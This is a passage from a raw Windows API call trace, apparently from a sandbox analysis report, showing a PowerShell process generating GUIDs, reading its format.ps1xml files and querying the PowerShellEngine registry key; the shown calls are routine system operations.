[5]=0x62, [6]=0x49, [7]=0xed))) returned 0x0 [0075.672] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xd239aba0, Data2=0xb9cd, Data3=0x4a45, Data4=([0]=0x9d, [1]=0xb0, [2]=0xc3, [3]=0x5c, [4]=0xc9, [5]=0xac, [6]=0x25, [7]=0x66))) returned 0x0 [0075.672] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xb64f35a6, Data2=0x4053, Data3=0x470b, Data4=([0]=0xa9, [1]=0x1, [2]=0x5, [3]=0xcd, [4]=0x32, [5]=0xe6, [6]=0x36, [7]=0x9b))) returned 0x0 [0075.672] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x354 [0075.673] GetLastError () returned 0x0 [0075.673] GetFileType (hFile=0x354) returned 0x1 [0075.673] SetErrorMode (uMode=0x1) returned 0x1 [0075.673] GetFileType (hFile=0x354) returned 0x1 [0075.673] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.675] GetLastError () returned 0x0 [0075.676] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.676] GetLastError () returned 0x0 [0075.677] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.677] GetLastError () returned 0x0 [0075.677] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.677] GetLastError () returned 0x0 [0075.677] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.677] GetLastError () returned 0x0 [0075.678] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.678] GetLastError () returned 0x0 [0075.678] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.678] GetLastError () returned 0x0 [0075.678] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.678] GetLastError () returned 0x0 [0075.678] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.678] GetLastError () returned 0x0 [0075.680] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.680] GetLastError () returned 0x0 [0075.680] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.680] GetLastError () returned 0x0 [0075.680] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.680] GetLastError () returned 0x0 [0075.681] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.681] GetLastError () returned 0x0 [0075.681] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.681] GetLastError () returned 0x0 [0075.681] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.681] GetLastError () returned 0x0 [0075.681] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.681] GetLastError () returned 0x0 [0075.681] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.681] GetLastError () returned 0x0 [0075.684] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.684] GetLastError () returned 0x0 [0075.684] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.684] GetLastError () returned 0x0 [0075.685] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.685] GetLastError () returned 0x0 [0075.685] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.685] GetLastError () returned 0x0 [0075.685] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0xe67, lpOverlapped=0x0) returned 1 [0075.685] GetLastError () returned 0x0 [0075.685] ReadFile (in: hFile=0x354, lpBuffer=0x31c79f7, nNumberOfBytesToRead=0x199, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c79f7*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.685] GetLastError () returned 0x0 [0075.685] ReadFile (in: hFile=0x354, lpBuffer=0x31c83f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x31c83f0*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.685] GetLastError () returned 0x0 [0075.686] CloseHandle (hObject=0x354) returned 1 [0075.686] GetLastError () returned 0x0 [0075.686] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e5d8 | out: phkResult=0x29e5d8*=0x354) returned 0x0 [0075.686] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x0, lpcbData=0x29e61c*=0x0 | out: lpType=0x29e620*=0x1, lpData=0x0, lpcbData=0x29e61c*=0x56) returned 0x0 [0075.686] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x3566f8, lpcbData=0x29e61c*=0x56 | out: lpType=0x29e620*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x29e61c*=0x56) returned 0x0 [0075.687] RegCloseKey (hKey=0x354) returned 0x0 [0075.690] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xb373add, Data2=0x4412, Data3=0x4627, Data4=([0]=0xad, [1]=0xad, [2]=0x62, [3]=0x86, [4]=0xcc, [5]=0x6b, [6]=0x53, [7]=0x2d))) returned 0x0 [0075.690] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x3d072739, Data2=0x988b, Data3=0x4e3e, Data4=([0]=0x8d, [1]=0x9, [2]=0xdb, [3]=0x4c, [4]=0x83, [5]=0x5b, [6]=0x83, [7]=0x71))) returned 0x0 [0075.691] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x7a2cee6a, Data2=0x2d56, Data3=0x423c, Data4=([0]=0x84, [1]=0xfc, [2]=0x46, [3]=0x90, [4]=0x8d, [5]=0xc, [6]=0x2c, [7]=0x41))) returned 0x0 [0075.691] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x7d384d9, Data2=0x7406, Data3=0x4ae6, Data4=([0]=0x8b, [1]=0x88, [2]=0xaf, [3]=0xe4, [4]=0xc7, [5]=0x16, [6]=0xf5, [7]=0x60))) returned 0x0 [0075.691] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x6eed7d68, Data2=0xdb83, Data3=0x45a9, Data4=([0]=0xa0, [1]=0xbc, [2]=0xdb, [3]=0x80, [4]=0xd3, [5]=0x62, [6]=0x74, [7]=0x4))) returned 0x0 [0075.691] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x2c16c376, Data2=0xbdc2, Data3=0x42ba, Data4=([0]=0xbc, [1]=0x35, [2]=0xed, [3]=0x72, [4]=0x88, [5]=0xa9, [6]=0x4c, [7]=0x6a))) returned 0x0 [0075.691] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xa074de0d, Data2=0x7ef9, Data3=0x47e1, Data4=([0]=0x86, [1]=0xe0, [2]=0x49, [3]=0x2e, [4]=0x5f, [5]=0xb3, [6]=0xbe, [7]=0x4e))) returned 0x0 [0075.691] VirtualQuery (in: lpAddress=0x29d3a0, lpBuffer=0x29e3a0, dwLength=0x1c | out: lpBuffer=0x29e3a0*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.692] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xc088b895, Data2=0x5033, Data3=0x40ce, Data4=([0]=0x95, [1]=0x23, [2]=0x68, [3]=0x6b, [4]=0x85, [5]=0x87, [6]=0x3, [7]=0xc4))) returned 0x0 [0075.692] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x6b6476d0, Data2=0xadf1, Data3=0x42e6, Data4=([0]=0xa6, [1]=0x49, [2]=0x4d, [3]=0x96, [4]=0x12, [5]=0xf0, [6]=0x38, [7]=0xc4))) returned 0x0 [0075.692] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xedd4a088, Data2=0x6585, Data3=0x4b1a, Data4=([0]=0x80, [1]=0xea, [2]=0x6b, [3]=0x3b, [4]=0x34, [5]=0x21, [6]=0xae, [7]=0x2d))) returned 0x0 [0075.692] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x31d48f76, Data2=0x806a, Data3=0x485d, Data4=([0]=0x99, [1]=0x1, [2]=0x94, [3]=0x4, [4]=0x6a, [5]=0x44, [6]=0xeb, [7]=0x1c))) returned 0x0 [0075.692] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x3afa45f, Data2=0x83, Data3=0x491d, Data4=([0]=0xb0, [1]=0x41, [2]=0x2, [3]=0x25, [4]=0x70, [5]=0x86, [6]=0x56, [7]=0x3c))) returned 0x0 [0075.692] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x9c91521c, Data2=0x997a, Data3=0x4d91, Data4=([0]=0x8b, [1]=0x59, [2]=0x96, [3]=0x48, [4]=0x74, [5]=0xed, [6]=0x78, [7]=0xb1))) returned 0x0 [0075.693] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x4de52546, Data2=0xd7b4, Data3=0x4837, Data4=([0]=0xad, [1]=0xa9, [2]=0x2, [3]=0x70, [4]=0x98, [5]=0x9f, [6]=0xdb, [7]=0x2e))) returned 0x0 [0075.693] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xc04159ad, Data2=0xc254, Data3=0x406b, Data4=([0]=0xa2, [1]=0x98, [2]=0x3f, [3]=0x64, [4]=0xe5, [5]=0x93, [6]=0xbc, [7]=0xaf))) returned 0x0 [0075.693] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x814b6765, Data2=0x6125, Data3=0x4ded, Data4=([0]=0x95, [1]=0xca, [2]=0xf, [3]=0x43, [4]=0xa7, [5]=0x5, [6]=0x50, [7]=0xab))) returned 0x0 [0075.693] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x8aae7aaa, Data2=0xfee9, Data3=0x447b, Data4=([0]=0x90, [1]=0x54, [2]=0x41, [3]=0x40, [4]=0x1d, [5]=0xf8, [6]=0x31, [7]=0xad))) returned 0x0 [0075.693] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x559c7470, Data2=0xf7de, Data3=0x42d2, Data4=([0]=0xa1, [1]=0x79, [2]=0x5c, [3]=0x20, [4]=0x94, [5]=0x8e, [6]=0x65, [7]=0x13))) returned 0x0 [0075.694] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x3bc2539a, Data2=0x831a, Data3=0x4de5, Data4=([0]=0x83, [1]=0x50, [2]=0xd0, [3]=0xca, [4]=0x9, [5]=0x44, [6]=0x76, [7]=0x66))) returned 0x0 [0075.694] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x81784538, Data2=0x356c, Data3=0x40cd, Data4=([0]=0xb6, [1]=0x2e, [2]=0xa3, [3]=0x4c, [4]=0x50, [5]=0x7c, [6]=0xc, [7]=0xce))) returned 0x0 [0075.694] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xef25fad5, Data2=0xadbd, Data3=0x4775, Data4=([0]=0xaf, [1]=0x3a, [2]=0x57, [3]=0x13, [4]=0xe3, [5]=0x53, [6]=0x94, [7]=0xac))) returned 0x0 [0075.695] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x731618b2, Data2=0xa266, Data3=0x44c9, Data4=([0]=0xa8, [1]=0x3, [2]=0xdf, [3]=0x45, [4]=0xc7, [5]=0xa0, [6]=0x7f, [7]=0xee))) returned 0x0 [0075.695] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xc1a9f8eb, Data2=0xb142, Data3=0x4eb1, Data4=([0]=0x93, [1]=0x94, [2]=0x52, [3]=0x2e, [4]=0xbd, [5]=0xf, [6]=0xd7, [7]=0x79))) returned 0x0 [0075.695] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xea2e1aaa, Data2=0xa4ee, Data3=0x42ae, Data4=([0]=0x8d, [1]=0xd6, [2]=0x21, [3]=0xd4, [4]=0x13, [5]=0x4f, [6]=0x1a, [7]=0x32))) returned 0x0 [0075.695] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xc1ddb759, Data2=0xe595, Data3=0x4fd1, Data4=([0]=0x94, [1]=0x90, [2]=0x65, [3]=0x8a, [4]=0xa5, [5]=0x29, [6]=0x18, [7]=0xe5))) returned 0x0 [0075.696] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x7f40002d, Data2=0xa038, Data3=0x4ec4, Data4=([0]=0x85, [1]=0x13, [2]=0x3b, [3]=0xc3, [4]=0x81, [5]=0xec, [6]=0xe2, [7]=0x72))) returned 0x0 [0075.696] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xa6413725, Data2=0xff10, Data3=0x44c7, Data4=([0]=0x8d, [1]=0x1, [2]=0xd, [3]=0x2, [4]=0x35, [5]=0x78, [6]=0x29, [7]=0x65))) returned 0x0 [0075.696] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x810ccbf3, Data2=0xecde, Data3=0x4bab, Data4=([0]=0x94, [1]=0x4c, [2]=0xc, [3]=0x32, [4]=0x99, [5]=0x89, [6]=0xdd, [7]=0x20))) returned 0x0 [0075.696] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xaaccfccb, Data2=0x5454, Data3=0x4dd8, Data4=([0]=0x8e, [1]=0xec, [2]=0xc8, [3]=0x34, [4]=0x40, [5]=0x7f, [6]=0x3b, [7]=0x93))) returned 0x0 [0075.696] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x2f54a24d, Data2=0xac14, Data3=0x4f5d, Data4=([0]=0x9f, [1]=0xc4, [2]=0x68, [3]=0xb2, [4]=0x7c, [5]=0x3a, [6]=0x3a, [7]=0xcc))) returned 0x0 [0075.696] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xae807eba, Data2=0x293d, Data3=0x4305, Data4=([0]=0x81, [1]=0xc4, [2]=0x56, [3]=0x8e, [4]=0x1, [5]=0x83, [6]=0x3c, [7]=0x9f))) returned 0x0 [0075.696] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x1a642187, Data2=0x26ef, Data3=0x4b9c, Data4=([0]=0x8a, [1]=0x81, [2]=0x82, [3]=0x3d, [4]=0x72, [5]=0xf1, [6]=0x7b, [7]=0x1b))) returned 0x0 [0075.697] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xca329120, Data2=0x26e3, Data3=0x4223, Data4=([0]=0x90, [1]=0xae, [2]=0xf3, [3]=0xc5, [4]=0x65, [5]=0xd9, [6]=0x98, [7]=0x4c))) returned 0x0 [0075.697] VirtualQuery (in: lpAddress=0x29d3a0, lpBuffer=0x29e3a0, dwLength=0x1c | out: lpBuffer=0x29e3a0*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.704] VirtualQuery (in: lpAddress=0x29d3a0, lpBuffer=0x29e3a0, dwLength=0x1c | out: lpBuffer=0x29e3a0*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.708] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xf45e5a7d, Data2=0x9f4f, Data3=0x4f65, Data4=([0]=0x81, [1]=0xeb, [2]=0x21, [3]=0xfe, [4]=0x4c, [5]=0xb0, [6]=0xe, [7]=0x78))) returned 0x0 [0075.708] VirtualQuery (in: lpAddress=0x29d3a0, lpBuffer=0x29e3a0, dwLength=0x1c | out: lpBuffer=0x29e3a0*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.709] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x99e95b71, Data2=0x58ab, Data3=0x4140, Data4=([0]=0xa1, [1]=0xee, [2]=0x6a, [3]=0x7b, [4]=0x4b, [5]=0x8, [6]=0x27, [7]=0xf0))) returned 0x0 [0075.709] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x382095f3, Data2=0xd39, Data3=0x4bf4, Data4=([0]=0x9e, [1]=0x45, [2]=0xeb, [3]=0x27, [4]=0x15, [5]=0x5c, [6]=0x72, [7]=0x7a))) returned 0x0 [0075.709] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x5653f52c, Data2=0xb0cd, Data3=0x42e5, Data4=([0]=0x95, [1]=0xbf, [2]=0x4e, [3]=0xf9, [4]=0xa2, [5]=0x76, [6]=0xaf, [7]=0x5))) returned 0x0 [0075.709] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x873f254d, Data2=0x4ff2, Data3=0x4d41, Data4=([0]=0x85, [1]=0x23, [2]=0xa5, [3]=0x98, [4]=0xa9, [5]=0xc1, [6]=0x4a, [7]=0xac))) returned 0x0 [0075.710] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xeb8a722f, Data2=0x90ad, Data3=0x4faa, Data4=([0]=0x93, [1]=0x73, [2]=0xf6, [3]=0xcf, [4]=0x4, [5]=0x5a, [6]=0xf6, [7]=0xfc))) returned 0x0 [0075.710] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x413538b6, Data2=0x2119, Data3=0x4b6e, Data4=([0]=0xbe, [1]=0x48, [2]=0x2d, [3]=0x7, [4]=0x35, [5]=0xaa, [6]=0xf1, [7]=0x2d))) returned 0x0 [0075.710] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x7b162bf2, Data2=0xc07a, Data3=0x4ab6, Data4=([0]=0xa2, [1]=0xa6, [2]=0x37, [3]=0xa0, [4]=0xa0, [5]=0xa5, [6]=0x38, [7]=0x33))) returned 0x0 [0075.710] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.711] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x5c92c45b, Data2=0x34c3, Data3=0x4816, Data4=([0]=0xb3, [1]=0x11, [2]=0x44, [3]=0xda, [4]=0x34, [5]=0xe6, [6]=0xac, [7]=0x9e))) returned 0x0 [0075.711] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x708ec6ef, Data2=0x185d, Data3=0x4868, Data4=([0]=0x92, [1]=0xe6, [2]=0x0, [3]=0xb0, [4]=0xa, [5]=0xa6, [6]=0x5e, [7]=0xd9))) returned 0x0 [0075.712] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xd8a5993d, Data2=0xb01, Data3=0x436a, Data4=([0]=0xa9, [1]=0x8e, [2]=0xfa, [3]=0x56, [4]=0xdf, [5]=0x4, [6]=0x57, [7]=0x25))) returned 0x0 [0075.712] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x83d93c7a, Data2=0x790a, Data3=0x4538, Data4=([0]=0xb5, [1]=0x2f, [2]=0xd1, [3]=0x3c, [4]=0x12, [5]=0x4f, [6]=0x80, [7]=0x4a))) returned 0x0 [0075.712] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x3e6e3584, Data2=0xc4a, Data3=0x4a8e, Data4=([0]=0x8f, [1]=0x65, [2]=0x16, [3]=0xc6, [4]=0xcf, [5]=0xfb, [6]=0x1d, [7]=0xf1))) returned 0x0 [0075.712] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.712] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xb47b64bd, Data2=0x9eb1, Data3=0x46c3, Data4=([0]=0xa6, [1]=0x69, [2]=0x1a, [3]=0x13, [4]=0x9f, [5]=0x5, [6]=0x9a, [7]=0xc6))) returned 0x0 [0075.712] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xb50224f9, Data2=0x75d2, Data3=0x4c29, Data4=([0]=0xaf, [1]=0x7, [2]=0xcf, [3]=0x5c, [4]=0xd4, [5]=0x12, [6]=0xe5, [7]=0x25))) returned 0x0 [0075.713] VirtualQuery (in: lpAddress=0x29d3a8, lpBuffer=0x29e3a8, dwLength=0x1c | out: lpBuffer=0x29e3a8*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.713] VirtualQuery (in: lpAddress=0x29d3a8, lpBuffer=0x29e3a8, dwLength=0x1c | out: lpBuffer=0x29e3a8*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.713] VirtualQuery (in: lpAddress=0x29d3a8, lpBuffer=0x29e3a8, dwLength=0x1c | out: lpBuffer=0x29e3a8*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.713] VirtualQuery (in: lpAddress=0x29d3a8, lpBuffer=0x29e3a8, dwLength=0x1c | out: lpBuffer=0x29e3a8*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0075.714] GetLastError () returned 0x0 [0075.714] SetErrorMode (uMode=0x1) returned 0x1 [0075.714] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x354 [0075.714] GetLastError () returned 0x0 [0075.714] GetFileType (hFile=0x354) returned 0x1 [0075.714] SetErrorMode (uMode=0x1) returned 0x1 [0075.714] GetFileType (hFile=0x354) returned 0x1 [0075.714] ReadFile (in: hFile=0x354, lpBuffer=0x32b8dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32b8dc8*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.716] GetLastError () returned 0x0 [0075.717] ReadFile (in: hFile=0x354, lpBuffer=0x32b8dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32b8dc8*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.717] GetLastError () returned 0x0 [0075.718] ReadFile (in: hFile=0x354, lpBuffer=0x32b8dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32b8dc8*, lpNumberOfBytesRead=0x29e654*=0x1000, 